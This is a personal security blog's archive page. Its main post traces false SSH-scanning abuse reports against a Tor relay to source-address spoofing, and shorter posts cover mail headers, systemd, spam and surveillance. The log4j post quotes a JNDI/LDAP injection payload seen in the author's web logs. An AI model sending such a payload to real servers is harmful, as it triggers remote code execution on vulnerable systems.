Nov 06 2024

watchdogcyberdefense.com are complete bozos

And may even be malicious.

I have been receiving “malicious activity” reports from my hosting ISP about my Tor node at “tor1.rlogin.net” since about the end of October. So far I have received five such reports. Each report takes the following form:

We have received an abuse report from abuse@watchdogcyberdefense.com for your IP address 95.216.198.252.

We are automatically forwarding this report on to you, for your information. You do not need to respond, but we do expect you to check it and to resolve any potential issues.

Please note that this is a notification only, you do not need to respond.

Kind regards

Abuse Team

Each report attaches a report from the idiots at abuse@watchdogcyberdefense.com which says the following:

Greetings Fellow Sys Ad/s

I hope this message finds you well. I’m reaching out to you today regarding a matter of potential concern involving one or more IP addresses associated with your system
Our network security logs have recently detected unusual activity originating from these IP addresses. While we understand that such incidents can sometimes occur innocently, it’s crucial to investigate and address them promptly to ensure the security of all networks involved

To assist you in understanding the situation, we have provided the relevant log data below, with timestamps adjusted to our GMT +8 timezone:

DateTime Action SourceIP Srcport Protocol DestinationIP DestPort
28-Oct-2024 19:35:08 DENIED 95.216.198.252 3902 TCP 202.91.162.249 22
28-Oct-2024 19:40:38 BLOCKED 95.216.198.252 0 202.91.162.24 22
28-Oct-2024 19:41:57 BLOCKED 95.216.198.252 0 202.91.162.47 22
28-Oct-2024 19:43:59 BLOCKED 95.216.198.252 0 202.91.162.24 22
28-Oct-2024 19:45:23 DENIED 95.216.198.252 22296 TCP 202.91.161.98 22
28-Oct-2024 19:53:26 BLOCKED 95.216.198.252 0 202.91.163.206 22
28-Oct-2024 20:00:28 BLOCKED 95.216.198.252 0 202.91.163.206 22

and so on for several lines of “log files”.

Now initially, I considered this to be a real problem. From the reporting it would seem that my Tor node had been attempting to connect to TCP port 22 on a range of machines across the ‘net. Port 22 is commonly assigned to SSH (unless the sysadmin has disabled SSH or moved it to a different listening port). Attempts to connect to port 22 are part of the normal “background noise” of the ‘net as ‘bots routinely scan for open SSH ports before attempting brute force authentication attacks. Most sensible people wishing to remotely access their servers routinely move the port to a less well known one, disable password authentication in favour of certificated public key auth, and usually limit access to one (non-root) user id as well. (I do all of that but in addition my iptables F/W rules deny all connections to my SSH port from any address except my own fixed IP addresses).

My Tor node “Tor1” is a middle relay, i.e. it does not, and should not make outbound connections to any other hosts except a Tor exit node. Since the addresses given are not Tor nodes, any real activity from my server to those addresses would indicate that my server had been compromised and was being used for malicious activity. Worrying. My ISP would be perfectly entitled to shut me down and lock my account. Fortunately for me they chose simply to pass on the information and ask that I investigate – which I did. Others were reportedly less lucky.

At this point I learned from the “tor-relays” list (an email listserver dedicated to discussions between relay operators) that I was not alone in receiving this alleged “abuse” report. Several contributors reported seeing almost identical reports to the one I received and all came from the same reporter “watchdogcyberdefense.com” to their ISPs. As I reported to the list that I had also seen this, several others popped up to say “me too”.

My initial investigations on my relay showed nothing untoward – certainly there were no outbound connections from my node to destination port 22 other than for one or two Tor nodes which were (for reasons of their own) actually running Tor on port 22. So I left tshark running listening for inbound connections to my server coming from port 22 outside.

While this was running I learned from the tor-relay list that Roger Dingledine of the Tor project team had posted a report about “Dir auths getting abuse complaints about port 22 scanning”. In that report (which has since been updated and modified), Dingledine postulated three theories about what was goin on. He concluded in “theory three” that:

these reported port 22 hosts don’t actually appear to be listening, so there was no three-way handshake, so if the observers only saw syn packets, those could have been forged from anywhere.
That is, in this theory, some jerk is spoofing syn packets and sending them to these abuse honeypots in order to make people mad.

Digledine’s theory looked plausible to many people on the list who were seeing similar activity.

Source IP address spoofing means that the packets received by a host do not actually come from the real IP address recorded in the log, they come from a completely different address which is pretending to be the spoofed server. Since the real server involved in this “attack” did not initiate the original connection it has no record of the outgoing connection in its internal state tables, all it will see is the return connection from the server “answering” a connection request it did not initiate. In most cases, where the second party server is not running anything on port 22 the first packet the innocent (spoofed) party will see is a RST packet tearing down a connection it did not initiate. In other cases, where the second party server is actually running something on port 22, the spoofed server will see a SYN/ACK packet acknowledging a SYN connection it did not make.

This is an extract of what tshark showed on my server:

105.812429380 202.91.162.47 → 95.216.198.252 TCP 54 22 → 18588 [RST,ACK] Seq=1 Ack=1 Win=5840 Len=0
113.387329574 202.91.163.206 → 95.216.198.252 TCP 54 22 → 41567[RST, ACK] Seq=1 Ack=1 Win=4128 Len=0

So, resets coming back from servers I had not initiated any connections to. This confirms the theory that someone is spoofing Tor node source addresses.

The reasons for this are not hard to fathom. Tor is disliked by a range of “bad actors” because Tor facilitates free anonymous connection to the ‘net. Authoritarian regimes in particular do not like this so attempt to get Tor nodes shut down. One easy way to do this is to get their addresses listed in one or more “bad reputation” lists (akin to spamhaus for email relays). Unfortunately there are way too many lazy, inexperienced, or just stupid sysadmins around who will sign up to such automated “bad reputation” lists and incorporate those addresses into their firewall rules without thinking. This leads to Tor relays being unable to connect to such “protected” machines. But worse than this, quite often the “bad reputation” lists will not just list the single IP address they have seen supposedly hostile activity from, rather they will list the entire /24 block containing that address. The result is that, even if the “bad address” is genuinely a hostile server (or has been compromised, thus making it hostile) then 250 odd perfectly innocent parties on servers who share that /24 address space will find themselves mysteriously unable to connect to a range of servers on the ‘net. This is bad practice and should not be allowed, but it is difficult to police except through education

At around the time I was checking my own server, Pierre Bourdon (aka “delroth”) posted a good exposition of what he was seeing after being contacted by his ISP with a request similar to the ones other relay operators were seeing. He ran tcpdump on his server and conculded from what he was seeing that:

Something was in fact going on. But not at all what I was expecting. Turns out: no connections were coming out of my server and going to the port 22 of random machines. But some random internet machines were in fact sending me TCP reset packets.

Delroth goes on to give a good description of what source address spoofing is, and what it means. He concludes:

To recap what’s (probably) going on:

A malicious attacker has access to a network without BCP38 filtering.

They send TCP connection requests to port 22 on many random internet machines – possibly deliberately selecting known honeypots or networks known to send automated abuse complaints.

Those TCP connection requests use a spoofed source IP address, making the destination machines think the spoofed source sent that connection. They become the target of the automated abuse complaints.

With a large enough volume, the spoofed IP quickly becomes widely blacklisted from many internet entities following blocklists, and the hosting provider might take action due to many abuse reports and shut down the server for being compromised / malicious.

I agree, and I have pointed my ISP to both Roger Dingledine’s note and to delroth’s blog post. I just hope that I don’t get shut down, but I’m not at all hopeful that the Tor nodes which have been spoofed will successfully stay out of black lists. I have also emailed the idiots at watchdogcyberdefense.com asking that they apply a little more intelligence to their (presumably automated) abuse reporting system so that it does not cause the havoc it could. Of course they have not replied.

Addendum.

I have now received another “abuse” report initiated by the bozos at watchdogcyberdefense.com which implies that I am scanning, or initiating connections to port 21 – FTP. Who the hell uses FTP these days? Why would anyone attempt to connect to an FTP server across the ‘net?

Oh and one more thing which leads me to conclude that watchdogcyberdefense.com is operated by idiots, one of their abuse reports shows a “log entry” which reported attacks from my IP address to the RFC 1918 address 192.168.200.216. That address, like all such 192.168/16 prefix addresses is not even routeable across the internet. So my server could not possibly have initiated a connection to it.

Permanent link to this article: https://baldric.net/2024/11/06/watchdogcyberdefense-com-are-complete-bozos/

Apr 30 2024

Ross Anderson

I have just discovered, shamefully late, that Ross Anderson died at his Cambridge home at the end of last month. He was only 67. Anderson was Professor of Security Engineering at the Cambridge University’s Department of Computer Science and Technology. He had worked at the University since the early 1990s.

Professor Anderson was famously rabidly anti spook, but more justifiably famous for his work in privacy and particularly in those aspects of computer security (or wider technology) which could impact on personal privacy.

I cannot pretend to have known Professor Anderson, but I had, and have, the greatest respect for his work. Anyone who can annoy certain parts of GCHQ as much as he did deserves commendation. Professor Anderson’s obituary can be found here. There are also good tributes by John Naughton and Bruce Schneier. There are plenty of others on-line should you care to search.

I am deeply sorry that I only found out about his passing from the latest “feisty duck” newsletter. My only excuse is that I don’t follow twitter, nor am I as active in following many of the security sources I used to read. One of the impacts of (long) retirement I fear.

RIP Professor.

Permanent link to this article: https://baldric.net/2024/04/30/ross-anderson/

Dec 21 2023

SIS troubles

Yesterday’s i newspaper lead with a report that SIS HQ at Vauxhall Cross could be overlooked from a flat in the new residential property built at St George Wharf. Said flat was reportedly purchased by Russians with links to a Soviet era property in Moscow which is roughly 300 metres away from the “Russian Intelligence chemical site” that developed Novichok.

The i report went on to say that Alicia Kearns, the Chair of the Parliamentary Foreign Affairs Committee, told the newspaper, “It’s no surprise that hostile states are buying up properties for surveillance purposes – but it’s the Government’s job to stop them.”

Let’s just hope that the Russians have never heard of IMSI catchers.

Permanent link to this article: https://baldric.net/2023/12/21/sis-troubles/

Mar 23 2023

custom headers in claws mail

My last post described how to add a custom X-header to outgoing email in postfix. But of course this approach is rather a blunt instrument because it necessarily adds the header to all outbound mail which originates from my server. In my particular case that does not matter overmuch, because any and all mail accounts on that server are either mine, an administrative account, or a family member’s. But this approach would be no good for say, a corporate server (unless that Corporation had specifically agreed that approach).

Better by far if individual users could decide whether they wish to add the custom header to their local account(s). So the best place to add a header will be in the MUA, not the MTA as I had done. My MUA of choice is claws (for some reasons see “All email clients suck“). Like Steve Litt, the author of that post, I find claws the least sucky of all the mail clients I have tried (and I particularly abhor that bastardisation of standards which is inherent in HTML email in a bloody browser). Claws is fast, lightweight, standards based, handles my IMAPS mail connections to dovecot on my mail server admirably easily, allows me to keep all my email plain text based and does not down load any in-line images unless I tell it to.

Continue reading

Permanent link to this article: https://baldric.net/2023/03/23/custom-headers-in-claws-mail/

Mar 14 2023

postfix x-headers

In my post last week about the X-Clacks-Overhead HTTP header I mentioned that I had added the header to my postfix configuration as outlined in the advice given at gnuterrypratchett.com. As it turns out that advice does not work exactly as I wanted.

Firstly, and most importantly, using the “header_checks” table is sub-optimal because it adds the header to both outgoing and incoming email. This has the effect that all mail coming in to me (or any of the multiple other email accounts handled by my postfix server) now contains the header so I can’t be sure whether or not the outside originating server added the header or it came from me.

Secondly, for our purposes, the “/^X-Clacks-Overhead:/ IGNORE” line in the sample header_checks file is redundant – all that is necessary is the instruction to postfix to prepend the “X-Clacks-Overhead:” line to the existing header of your choice.

A much better approach I have found is to use the “smtp_header_checks” instruction to postfix – that way the header is only added to mail leaving our server. The postfix manual says:

smtp_header_checks (default: empty)

Restricted header_checks(5) tables for the Postfix SMTP client. These tables are searched while mail is being delivered. Actions that change the delivery time or destination are not available.

Thus the instructions at gnuterryprachett.com would be improved if it said:

Step 1: Where to put it:
/etc/postfix/main.cf
Step 1: What to add to main.cf:
smtp_header_checks = regexp:/etc/postfix/smtp_header_checks
Step 2: Where to put it:
/etc/postfix/smtp_header_checks
Step 2: What to add to smtp_header_checks:
/^Subject:/i PREPEND X-Clacks-Overhead: GNU Terry Pratchett

You could prepend the text to any existing header which you are sure will appear in the outgoing email. I chose “Subject” because all of my outgoing email has that header. Of course if I leave the Subject field empty in any email, then the X-Clacks_Overhead header will not be added.

I’ve emailed the admin of gnuterrypratchett.com.

Permanent link to this article: https://baldric.net/2023/03/14/postfix-x-headers/

Mar 10 2023

comment block

Sadly, over the last few posts I have received way too many attempted porn links as comments. They don’t reach the public face of trivia because of my comment policy, but they are becoming tiresome in the extreme and I have to edit the damned things so I have (hopefully temporarily) turned off all comments.

Permanent link to this article: https://baldric.net/2023/03/10/comment-block/

Mar 09 2023

X-Clacks-Overhead

For some years now I have included the “X-Clacks-Overhead” header in trivia’s lighttpd.conf as a tribute to the late great Sir Terry Pratchett. I am a huge fan of Pratchett’s Discworld series. You may not see the header when you browse trivia, but it is there. Users of linux based systems can easily inspect the headers using curl (“curl -I https://baldric.net” will list them for you).

The header in question is a reference to the “Clacks” which is a technology in the Discworld much like the telegraph (or internet) of our world. The name comes from the noise that the technology made in use (it “clacked”). The rather lovely xclacksoverhead website gives a nice explanation of the origins of the header.

It was whilst visiting that site today that I discovered that there appear to be over 1300 websites out there which similarly include the X-Clacks-Overhead header, including Debian, Mozilla and, strikingly, the UK Passport Office. It is good to see that even officialdom can show support, albeit in a non-obvious way. I salute the unknown sysadmin for the passport office site.

Continue reading

Permanent link to this article: https://baldric.net/2023/03/09/x-clacks-overhead/

Feb 19 2023

lost car

Last month I posted an article about the press reports of chinese software and hardware “found” in cars and how that could lead to the cars being tracked by the chinese state (or other hostile agencies). I was therefore delighted to see the cartoon below in issue 1591 of Private eye.

cartoon of lost car

I am indebted to both Private Eye, and the cartoonist Vilnis Vesma for their kind permission to allow me to repost that cartoon here.

Enjoy.

Permanent link to this article: https://baldric.net/2023/02/19/lost-car/

Jan 16 2023

mobile (in)security

In my last post, an ex GCHQ staffer is quoted as saying:

“If you’re stepping back a bit and saying what cars do park outside GCHQ or somewhere like Porton Down then you have the pool of information there if you ever need it.”

which got me wondering about how secure existing protective measures around the use of mobile ‘phones in and around some sites actually are.

For fairly obvious reasons, secure sites already require that visitors (or staff) leave all mobile communication devices, laptops or any electronic device capable of making audio or video recordings, in shielded lockers on entry. Mobiles must be switched off before being locked away.

Now what is the first thing anyone does when picking up their switched off mobile on leaving? What is the first thing you do when landing at a holiday resort when you have had your ‘phone switched off for the flight?

You turn it back on.

So, any hostile agency capable of locating something like an IMSI catcher aka Stingray anywhere near such a site would have the ability to capture the details of any mobile device when it was switched back on as the owner was leaving the secure location. That gives the attacker a veritable trove of information about who goes to such sites, how often, and how long they stay there.

Let’s just hope that all “secure” sites are completely secured and isolated from IMSI catchers and any other nefarious form of mobile surveillance technology. And of course, we must hope that anyone actually driving to, and parking at, such a site has such an old vehicle that it does not contain any “connected car” telemetry capability.

Permanent link to this article: https://baldric.net/2023/01/16/mobile-insecurity/

Jan 16 2023

brakes-as-a-service

Some parts of the UK press have been reporting recently on the “discovery” of “hidden Chinese tracking devices” in a UK Government car (the original inews report is behind a paywall).

The reports quote a “serving member of the British intelligence community” as telling the i newspaper: “It [the tracking SIM] gives the ability to survey government over a period of months and years, constantly filing movements, constantly building up a rich picture of activity. You can do it slowly and methodically over a very, very long time. That’s the vulnerability.”

Furthermore, the report goes on to say that “a former GCHQ analyst told the paper that it was unlikely that this was a targeted operation focussing on a single politician but rather represented a broad data mining approach by the Chinese Communist Party.”

(Sensible comment from a GCHQ staffer.)

Continue reading

Permanent link to this article: https://baldric.net/2023/01/16/brakes-as-a-service/

Dec 30 2022

signal failure

I use signal as my instant messenger app on my ‘phone and I have the desktop version installed on my, well, desktop. Signal was written by the kind of people I trust and in my view it is infinitely better than plain unencrypted SMS and much better than any of the alternative IMs around (whatsapp, telegram, imessage, google messages et al.) Like most modern messaging apps, signal gives you one to one messaging, group messaging, video calling and image messaging, and it does it privately and securely. What more could a privacy nut want?

A couple of days ago my old friend Rob sent me a signal message reminding me (yet again) that I had failed to make any comment on trivia’s birthday. In fact, during 2022 I have made the sum total of three (four if you count this one) posts. My bad. All I can say is that I have been busy. As I told Rob in my initial reply I have a bunch of things I want to post about, but right now, none of them are so particularly pressing that I feel the need to hit the keyboard. Because we don’t correspond that frequently, my conversation with Rob strayed off onto a variety of topics (motorcycles, computer backup strategies, the ever expanding usage of consultants in Government for example). Now, at the time I was conversing with Rob, I was also in the middle of a separate thread with my old chums from the bike club, also on signal. But the conversation with Rob was on my desktop whilst the one with the bike club was on my ‘phone. I think you can guess what happened next.

Yep, I posted a note to Rob that should have gone to the bike club. Fortunately Rob agreed with the contents of my inadvertant post, but it could have gone horribly wrong.

As Rob said, the biggest failure in any secure system is the human element. All the security in the world can’t help you if you are an idiot.

A (belated) Merry Christmas to my readers and a Happy New Year. May 2023 bring you all that you could wish for.

Permanent link to this article: https://baldric.net/2022/12/30/signal-failure/

Oct 09 2022

systemd free

Way back in February of this year when I concluded my rant about systemd I said:

“Given that Ubuntu is tied closely to systemd and will be implementing the ridiculous systemd-homed.service shortly, and that Mint is based on Ubuntu and will perforce probably follow, I have now given up on Mint and moved to another distro which will not do so. In my next post I will discuss which distro, and why I chose it.”

Well, my apologies for the delay in writing this. All I can say is, “I’ve been busy”.

Continue reading

Permanent link to this article: https://baldric.net/2022/10/09/systemd-free/

Feb 03 2022

no systemd

I have mentioned before that I really, really, really do not like systemd. Whilst it remained a simple replacement for init (albeit with some peculiarites) I could put up with it so long as it didn’t get in my way, or my way of working. After all, if all the major distro developers were convinced it was the way to go, then who am I to disagree? But it hasn’t just remained an init replacement, like Topsy, it “just growed”, and “growed”, and “growed”, until now it is involved in process management way beyond what seems reasonable to me (and to others).

Here is a process listing from my Mint desktop:

mick@shed ~ $ ps -ef | grep systemd
root 379 1 0 12:44 ? 00:00:00 /lib/systemd/systemd-journald
root 408 1 0 12:44 ? 00:00:01 /lib/systemd/systemd-udevd
systemd+ 665 1 0 12:44 ? 00:00:00 /lib/systemd/systemd-networkd
message+ 687 1 0 12:44 ? 00:00:00 /usr/bin/dbus-daemon –system –address=systemd: –nofork –nopidfile –systemd-activation –syslog-only
root 723 1 0 12:44 ? 00:00:00 /lib/systemd/systemd-logind
root 726 1 0 12:44 ? 00:00:00 /lib/systemd/systemd-machined
root 729 1 0 12:44 ? 00:00:01 /usr/sbin/thermald –systemd –dbus-enable –adaptive
systemd+ 747 1 0 12:44 ? 00:00:00 /lib/systemd/systemd-resolved
mick 2406 1 0 12:44 ? 00:00:00 /lib/systemd/systemd –user
mick 2433 2406 0 12:44 ? 00:00:00 /usr/bin/dbus-daemon –session –address=systemd: –nofork –nopidfile –systemd-activation –syslog-only”

Continue reading

Permanent link to this article: https://baldric.net/2022/02/03/no-systemd/

Feb 02 2022

why reykjavik?

For some time now I have been getting spam about property sales. Almost all of the ones that get through (I edit my spam filters to stop the bulk of them) take the form of offering me the chance to buy in to “off-plan developments” in various places, some in the UK, others in obvious holiday spots. Fortunately the spammers are pretty stupid and use a form of addressing that allows me to automate my postfix filtering.

Lately however, I have started to receive spam asking me if I have ever taken a PCP deal on buying a car.  See a screenshot from K9 on my phone as an example.

(Note that my K9 configuration deliberately refuses to load remote images which is why you see the request to “load images”.)

This email, in common with all the other stupid spam, points to a domain which has been:

– recently created;
– created at a cheap registrar;
– registered by someone in Reykjavik.

Now if the registrant were in Russia, or China, or maybe Iran, I could understand. But Iceland?

Beats me.

Permanent link to this article: https://baldric.net/2022/02/02/why-reykjavik/

Dec 29 2021

trivia’s birthday

My old friend Rob has just messaged me to question why I missed noting trivia’s birthday this year (born 24th of December 2006, so now an astonishing 15 years old and almost eligible to vote).

So this is for you Rob.

No, I haven’t forgotten. and no I am not dead.

Happy New Year to all my readers (both of you).

Permanent link to this article: https://baldric.net/2021/12/29/trivias-birthday/

Dec 17 2021

log4j

I guess that there are a lot of busy sysadmins around at the moment. My web logs are full of crud like:

“GET /$%7Bjndi:ldap://123.345.567:789/Exploit%7D”

and much lengthier entries trying to exploit the log4j vulnerability.

In my case (and for this instance) I’m not that bothered because, luckily, I don’t run Apache, or any of its frameworks or the log4j2 java logging library. But the scale of the problem must be huge if the ‘bots are probing non-apache servers. You’d think they would at least check the server software before continuing the attack.

Permanent link to this article: https://baldric.net/2021/12/17/log4j/

Oct 22 2021

rebranding may not work

El Reg has commented on Facebook’s announced intention to rebrand itself in much the same way that Google introduced a new overaching company named Alphabet. In typical Reg fashion they have asked the readership what they think would be the best name. The results currently favour SPECTRE by some large margin.

Facebook as SPECTRE

As usual, the Reg commentards come into their own. However, whilst “Umbrella Corporation” has a nicely evil aura, the domain umbrella.com seems to be taken already.

Permanent link to this article: https://baldric.net/2021/10/22/rebranding-may-not-work/

Oct 15 2021

zuck off facebook

Or how to block the entire Facebook network.

In my last post on Facebook’s misfortunes I mentioned that my wife initially blamed me, assuming it was just local and that I had made some new change to my local network configuration. Now whilst I do actually bin some of Facebook’s more annoying subdomains (such as the stats collector at staticxx.facebook.com) along with similarly annoying google domains like google-analytics.com and adsettings.google.com I had not completely blocked the whole of facebook.

Well, not until now that is.

Continue reading

Permanent link to this article: https://baldric.net/2021/10/15/zuck-off-facebook/

Oct 04 2021

I know I shouldn’t laugh

But in what looks to me very like a DNS snafu, Facebook, Whatsapp and Instagram all disappeared today for a huge swathe of users from around 16.20 UK time. Downdetector shows:

(I love that big red button in the middle of the page which says “I have a problem with Facebook”. Yes I do, and I always have.)

But even better is some of the breathless reporting around the net. I particularly like this one from the Greekreporter:

“Internet blackout”. Indeed.

I think we can all live without Facebook for a while. But I’ll bet some poor sysadmin schmuck at the Zuck factory will lose his or her job over this.

Initially, knowing my antipathy to all things Facebook, my wife blamed me, assuming it was just local and that I had made some new change to my local network configuration. Not me darling.

(Addendum. Arstechnica reports that it may be a BGP route update failure. Interestingly, they also report that Facebook’s DNS is hosted on Amazon’s services. Oh dear.)

(Second addendum: 5/10/21. Cloudflare have a rather good explanation of what went wrong. They confirm a BGP error when “Facebook stopped announcing the routes to their DNS prefixes. That meant that, at least, Facebook’s DNS servers were unavailable.”

Sadly, Facebook is now back.)

Permanent link to this article: https://baldric.net/2021/10/04/i-know-i-shouldnt-laugh/

Sep 09 2021

dirty laundry

I have lately been reading Charlie Stross’s excellent Laundry Files series. In that series, the main protagonist is Bob Howard, one time sysadmin for the Department of Transport, since recruited by the “Laundry” which is that part of HMG’s Security Service which deals with countering Occult Threats. Bob’s IT skills are wide, deep and varied and they are put to good use by the Laundry which has an interesting, if rather scary, collection of hardware and software. And an even scarier range of adversaries.

Stross writes beautifully and the Laundry files books are spattered with enough technical in-jokes and apparent knowledge of HMG’s less public face, including well researched references to institutions such as Qinetic/DERA, GCHQ, SIS and HMGCC (not, as Bob initially guessed, Her Majesty’s GNU C Compiler) to lend credence to the stories.

As a computational demonologist, Bob is shown to be both highly technically competent and short tempered with the opposition (or less technically competent persons). It is therefore of no surprise whatsoever that in “The Jennifer Morgue” he should reveal his full name to be Bob Oliver Francis Howard.

Absolutely delightful. A must read for all geeks.

P.S. Stross also writes a phenomenally good blog at the antipope. (“I never met Prince Philip, or his wife and kids.” copyright © Stross.)

Go read it. Now.

Permanent link to this article: https://baldric.net/2021/09/09/dirty-laundry/

Sep 06 2021

check2ip gone

For many years now I have used check2ip to, well, check my IP address. That service on a single page on the net gave me a quick snapshot of my current address and the DNS servers I was resolving against. I used it because I have a bunch of VPNs (and usually route my traffic through one of them) and I also use Tor. Getting an outsider’s view of my public IP address gives me reassurance that I am not visible on my ISP’s assigned address.

image of check2ip.com page

Continue reading

Permanent link to this article: https://baldric.net/2021/09/06/check2ip-gone/

Sep 04 2021

stop starttls

I have been a subscriber to Hanno Böck’s Feisty Duck TLS Newsletter for some time. Böck’s newsletters provide a useful service to TLS users. I am also a big fan of Ivan Ristić’s “Openssl cookbook” which is available as a free download from the Feistyduck website.

A couple of days ago the latest Feistyduck newsletter hit my email inbox. That newsletter pointed to a paper published at the USENIX security conference which detailed a large number of vulnerabilities in STARTTLS implementations.

STARTTLS is a mechanism that allows for upgrading plaintext protocol connections to TLS. The research focused on STARTTLS in the communication between email clients and servers (SMTP, IMAP, POP3). Apparently, it turns out this upgrading mechanism is fragile and can lead to a number of security problems.

Continue reading

Permanent link to this article: https://baldric.net/2021/09/04/stop-starttls/

May 27 2021

nothing to hide, nothing to fear

I recently came across this rather nice (spoof) NSA site describing the work of the Agency’s “Domestic Surveillance Directorate”. That Directorate supposedly exists to protect the citizen from the usual suspects (terrorists, paedophiles, criminals) and is tasked with data collection and analysis to support that end.

The site says:

“Our value is founded on a unique and deep understanding of risks, vulnerabilities, mitigations, and threats. Domestic Surveillance plays a vital role in our national security by using advanced data mining systems to “connect the dots” to identify suspicious patterns.”

and

“In the past, domestic law enforcement agencies collected data AFTER a suspect had been identified. This often resulted in lost intelligence and missed opportunities. But what if data could be collected in advance, BEFORE the target was known? What if the mere act of collecting data could result in the identification of new targets?

What if we could build a national data warehouse containing information about every person in the United States? Thanks to secret interpretations of the PATRIOT ACT, top-secret Fourth Amendment exceptions allowed by the Foreign Intelligence Surveillance Court, and broad cooperation at the local, state, and federal level, we can!”

Continue reading

Permanent link to this article: https://baldric.net/2021/05/27/nothing-to-hide-nothing-to-fear/

May 15 2021

fastboot oem get_unlock_data hangs on moto g7 plus

I am posting this in the hope it may help others who find themselves in a similar position to myself.

I have recently upgraded my mobile ‘phone (from a Motorola Moto X4) to a Moto G7 plus. I chose this particular phone because I like Motorolas. I like the fact that they are relatively cheap for a well specced device. I like the fact that they are (usually) easy to reflash with lineageos, and I like the fact that Motorola is quite supportive of that process and gives you some assistance in doing so. Of course the more paranoid of the tin hat brigade might see that support (from a Chinese manufacturer) as somewhat suspect, but that aside, I much prefer my ‘phones to be Google free and all of my past mobiles have been reflashed to either lineageos or its predecessor CyanogenMod.

Continue reading

Permanent link to this article: https://baldric.net/2021/05/15/fastboot-oem-get_unlock_data-hangs-on-moto-g7-plus/